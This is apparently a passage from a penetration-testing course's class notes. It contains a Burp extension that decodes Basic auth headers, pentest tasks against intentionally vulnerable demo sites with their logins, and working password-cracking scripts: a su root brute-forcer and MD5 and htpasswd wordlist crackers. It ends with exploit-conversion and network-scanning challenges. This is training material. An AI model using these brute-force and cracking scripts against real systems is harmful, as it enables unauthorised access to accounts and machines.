2912 | self._txtInput = extender._callbacks.createTextEditor() | |
2913 | self._extender = extender | |
2914 | ||
2915 | def getUiComponent(self): | |
2916 | ''' Must be invoked before the editor displays the new HTTP message, | |
2917 | so that the custom tab can indicate whether it should be enabled for | |
2918 | that message. | |
2919 | ''' | |
2920 | return self._txtInput.getComponent() | |
2921 | ||
2922 | def getTabCaption(self): | |
2923 | ''' Returns the name of the custom tab | |
2924 | ''' | |
2925 | return "Decoded Authorization Header" | |
2926 | ||
2927 | def isEnabled(self, content, isRequest): | |
2928 | ''' Determines whether a tab shows up on an HTTP message | |
2929 | ''' | |
2930 | if isRequest == True: | |
2931 | requestInfo = self._extender._helpers.analyzeRequest(content) | |
2932 | headers = requestInfo.getHeaders(); | |
2933 | authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1] | |
2934 | if authorizationHeader: | |
2935 | encHeaderValue = authorizationHeader[0].split()[-1] | |
2936 | try: | |
2937 | self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue) | |
2938 | except Exception as e: | |
2939 | print e | |
2940 | self._decodedAuthorizationHeader = "" | |
2941 | else: | |
2942 | self._decodedAuthorizationHeader = "" | |
2943 | return isRequest and self._decodedAuthorizationHeader | |
2944 | ||
2945 | def setMessage(self, content, isRequest): | |
2946 | ''' Shows the message in the tab if not none | |
2947 | ''' | |
2948 | if (content is None): | |
2949 | self._txtInput.setText(None) | |
2950 | self._txtInput.setEditable(False) | |
2951 | else: | |
2952 | self._txtInput.setText(self._decodedAuthorizationHeader) | |
2953 | return | |
2954 | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
2955 | ||
2956 | ||
2957 | ||
2958 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
2959 | ######################## | |
2960 | # Web App Pentest Task # | |
2961 | ####################### | |
2962 | Target website: http://zero.webappsecurity.com/ | |
2963 | username: username | |
2964 | password: password | |
2965 | ||
2966 | Some example solutions can be found at: | |
2967 | https://gist.github.com/mort666/19d3dc1051a71c2c86885e1607d69442 | |
2968 | ||
2969 | ||
2970 | Your tasks: | |
2971 | ----------- | |
2972 | 1. Create a Google Drive document that will serve as the pentest report and give every student accesss to it | |
2973 | 2. Perform all of the web app testing techniques you've learned against the target website and document your findings | |
2974 | 3. Download my sample web app pentest reports from this link: https://infosecaddicts-files.s3.amazonaws.com/Sample-WebApp-Pentest-Reports.zip | |
2975 | 4. Follow the pentest process described here: https://infosecaddicts-files.s3.amazonaws.com/Web-App-Pentest-Process.pdf | |
2976 | 5. See if your pentest process would have yielded the same results as this link: https://gist.github.com/mort666/19d3dc1051a71c2c86885e1607d69442 | |
2977 | ||
2978 | ||
2979 | ||
2980 | ||
2981 | ||
2982 | ########################################### | |
2983 | ----------- ############### # Day 4: Password cracking and Forensics ############### ----------- | |
2984 | ########################################### | |
2985 | ||
2986 | ||
2987 | ---------------------------Type This----------------------------------- | |
2988 | ||
2989 | nano list.txt | |
2990 | ||
2991 | ---------------------------Paste This----------------------------------- | |
2992 | ||
2993 | hello | |
2994 | goodbye | |
2995 | red | |
2996 | blue | |
2997 | yourname | |
2998 | tim | |
2999 | bob | |
3000 | secureninjapython3 | |
3001 | joe | |
3002 | norway!cybersecurity | |
3003 | ----------------------------------------------------------------------- | |
3004 | ||
3005 | ||
3006 | ||
3007 | ||
3008 | ||
3009 | ||
3010 | ---------------------------Type This----------------------------------- | |
3011 | ||
3012 | nano rootbrute.py | |
3013 | ||
3014 | ---------------------------Paste This----------------------------------- | |
3015 | ||
3016 | #!/usr/bin/env python3 | |
3017 | ||
3018 | import sys | |
3019 | try: | |
3020 | import pexpect | |
3021 | except(ImportError): | |
3022 | print("\nYou need the pexpect module.") | |
3023 | print("http://www.noah.org/wiki/Pexpect\n") | |
3024 | sys.exit(1) | |
3025 | ||
3026 | # Change this if needed. | |
3027 | # LOGIN_ERROR = 'su: incorrect password' | |
3028 | LOGIN_ERROR = "su: Authentication failure" | |
3029 | ||
3030 | ||
3031 | def brute(word): | |
3032 | print("Trying:", word) | |
3033 | child = pexpect.spawn('/bin/su') | |
3034 | child.expect('Password: '.encode("utf-8")) | |
3035 | child.sendline(word) | |
3036 | i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3) | |
3037 | if i == 1: | |
3038 | print("Incorrect Password") | |
3039 | ||
3040 | if i == 2: | |
3041 | print("\n\t[!] Root Password:", word, i) | |
3042 | child.sendline('id') | |
3043 | print(child.before) | |
3044 | child.interact() | |
3045 | ||
3046 | ||
3047 | if len(sys.argv) != 2: | |
3048 | print("\nUsage : ./rootbrute.py <wordlist>") | |
3049 | print("Eg: ./rootbrute.py words.txt\n") | |
3050 | sys.exit(1) | |
3051 | ||
3052 | try: | |
3053 | words = open(sys.argv[1], "r").readlines() | |
3054 | except(IOError): | |
3055 | print("\nError: Check your wordlist path\n") | |
3056 | sys.exit(1) | |
3057 | ||
3058 | print("\n[+] Loaded:", len(words), "words") | |
3059 | print("[+] BruteForcing...\n") | |
3060 | for word in words: | |
3061 | brute(word.replace("\n", "")) | |
3062 | ----------------------------------------------------------------------- | |
3063 | ||
3064 | ||
3065 | References you might find helpful: | |
3066 | http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python | |
3067 | ||
3068 | ||
3069 | ---------------------------Type This----------------------------------- | |
3070 | python3 rootbrute.py list.txt | |
3071 | ----------------------------------------------------------------------- | |
3072 | ||
3073 | ||
3074 | ||
3075 | ||
3076 | ||
3077 | ||
3078 | ||
3079 | ||
3080 | ---------------------------Type This----------------------------------- | |
3081 | ||
3082 | ||
3083 | nano md5crack.py | |
3084 | ||
3085 | ||
3086 | ---------------------------Paste This----------------------------------- | |
3087 | #!/usr/bin/env python3 | |
3088 | ||
3089 | import hashlib | |
3090 | import sys | |
3091 | ||
3092 | if len(sys.argv) != 3: | |
3093 | print("Usage: ./md5crack.py <hash> <wordlist>") | |
3094 | sys.exit(1) | |
3095 | ||
3096 | pw = sys.argv[1] | |
3097 | wordlist = sys.argv[2] | |
3098 | try: | |
3099 | words = open(wordlist, "r") | |
3100 | except(IOError): | |
3101 | print("Error: Check your wordlist path\n") | |
3102 | sys.exit(1) | |
3103 | words = words.readlines() | |
3104 | print("\n", len(words), "words loaded...") | |
3105 | hashes = {} | |
3106 | for word in words: | |
3107 | hash = hashlib.md5() | |
3108 | hash.update(word[:-1].encode('utf-8')) | |
3109 | value = hash.hexdigest() | |
3110 | hashes[word[:-1]] = value | |
3111 | for (key, value) in hashes.items(): | |
3112 | if pw == value: | |
3113 | print("Password is:", key, "\n") | |
3114 | ----------------------------------------------------------------------- | |
3115 | ||
3116 | ||
3117 | ||
3118 | ||
3119 | Why use hexdigest | |
3120 | http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string | |
3121 | ||
3122 | ||
3123 | ||
3124 | ---------------------------Type This----------------------------------- | |
3125 | python3 md5crack.py 8ff32489f92f33416694be8fdc2d4c22 list.txt | |
3126 | ----------------------------------------------------------------------- | |
3127 | ||
3128 | ||
3129 | ||
3130 | ||
3131 | ||
3132 | ####### Challenge ######## | |
3133 | I will buy lunch (a nice lunch), for the person that can explain how the htcrack.py script works. | |
3134 | ||
3135 | Teamwork makes the dreamwork. Google is your friend. | |
3136 | ####### Challenge ######## | |
3137 | ||
3138 | ||
3139 | ||
3140 | ---------------------------Type This----------------------------------- | |
3141 | ||
3142 | htpasswd -nd yourname | |
3143 | - enter yourname as the password | |
3144 | ||
3145 | ||
3146 | ---------------------------Type This----------------------------------- | |
3147 | ||
3148 | nano htcrack.py | |
3149 | ||
3150 | ---------------------------Paste This----------------------------------- | |
3151 | #!/usr/bin/env python3 | |
3152 | import crypt | |
3153 | import sys | |
3154 | ||
3155 | if len(sys.argv) != 3: | |
3156 | print("Usage: ./htcrack.py <password> <wordlist>") | |
3157 | print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]") | |
3158 | sys.exit(1) | |
3159 | ||
3160 | pw = sys.argv[1].split(":", 1) | |
3161 | ||
3162 | try: | |
3163 | words = open(sys.argv[2], "r") | |
3164 | except(IOError): | |
3165 | print("Error: Check your wordlist path\n") | |
3166 | sys.exit(1) | |
3167 | ||
3168 | wds = words.readlines() | |
3169 | print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-") | |
3170 | print(" - http://darkcode.ath.cx -") | |
3171 | print("\n", len(wds), "words loaded...") | |
3172 | ||
3173 | for w in wds: | |
3174 | if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]: | |
3175 | print("\nCracked:", pw[0] + ":" + w, "\n") | |
3176 | ----------------------------------------------------------------------- | |
3177 | ||
3178 | ||
3179 | ||
3180 | ---------------------------Type This----------------------------------- | |
3181 | python3 htcrack.py joe:7XsJIbCFzqg/o list.txt | |
3182 | ----------------------------------------------------------------------- | |
3183 | ||
3184 | ||
3185 | ||
3186 | ||
3187 | ######################## | |
3188 | # Final Exam Challenge # | |
3189 | ######################## | |
3190 | ||
3191 | Create a Google Drive document to house all of the steps you went through as a class while performing the challenge tasks below: | |
3192 | ||
3193 | ||
3194 | ||
3195 | ||
3196 | Malware Analysis Challenge: | |
3197 | --------------------------- | |
3198 | Update am.py to look for 2 new classes of malicious capability. Use the links below to help you with finding the appropriate signatures. | |
3199 | ||
3200 | https://joesecurity.org/joe-sandbox-reports | |
3201 | https://github.com/Yara-Rules/rules | |
3202 | ||
3203 | ||
3204 | ||
3205 | ||
3206 | Exploit Dev Final Challenge: | |
3207 | ---------------------------- | |
3208 | Choose on of the following exploits below and convert it to the 10 script format like ff.zip on line 1468 | |
3209 | http://www.exploit-db.com/exploits/19266/ | |
3210 | http://www.exploit-db.com/exploits/18382/ | |
3211 | http://www.exploit-db.com/exploits/17527/ | |
3212 | http://www.exploit-db.com/exploits/15238/ | |
3213 | http://www.exploit-db.com/exploits/15231/ | |
3214 | http://www.exploit-db.com/exploits/14623/ | |
3215 | http://www.exploit-db.com/exploits/12152/ | |
3216 | http://www.exploit-db.com/exploits/11328/ | |
3217 | http://www.exploit-db.com/exploits/17649/ | |
3218 | ||
3219 | ||
3220 | ||
3221 | ||
3222 | Web Application Penest Challenge: | |
3223 | --------------------------------- | |
3224 | Perform a web application security assessment on demo.testfire.net and use a report form derived from one of these sample reports: Download my sample web app pentest reports from this link: https://infosecaddicts-files.s3.amazonaws.com/Sample-WebApp-Pentest-Reports.zip | |
3225 | ||
3226 | target: demo.testfire.net | |
3227 | Username: jsmith | |
3228 | Password: Demo1234 | |
3229 | ||
3230 | ||
3231 | ||
3232 | ||
3233 | Python Scripting challenge: | |
3234 | --------------------------- | |
3235 | Use lines 989-1230, and the scripts below to create a Python based script that does the following: | |
3236 | 1. Checks for the presense of at least 6 testing tools (ex: nmap, propecia) and installs them | |
3237 | 2. Runs each tool with the appropriate arguments against the 172.31.2.x network | |
3238 | 3. Outputs to a logical text based report format that | |
3239 | https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py | |
3240 | https://github.com/codingo/Reconnoitre | |
3241 | https://github.com/1N3/Sn1per | |
3242 | https://github.com/leebaird/discover |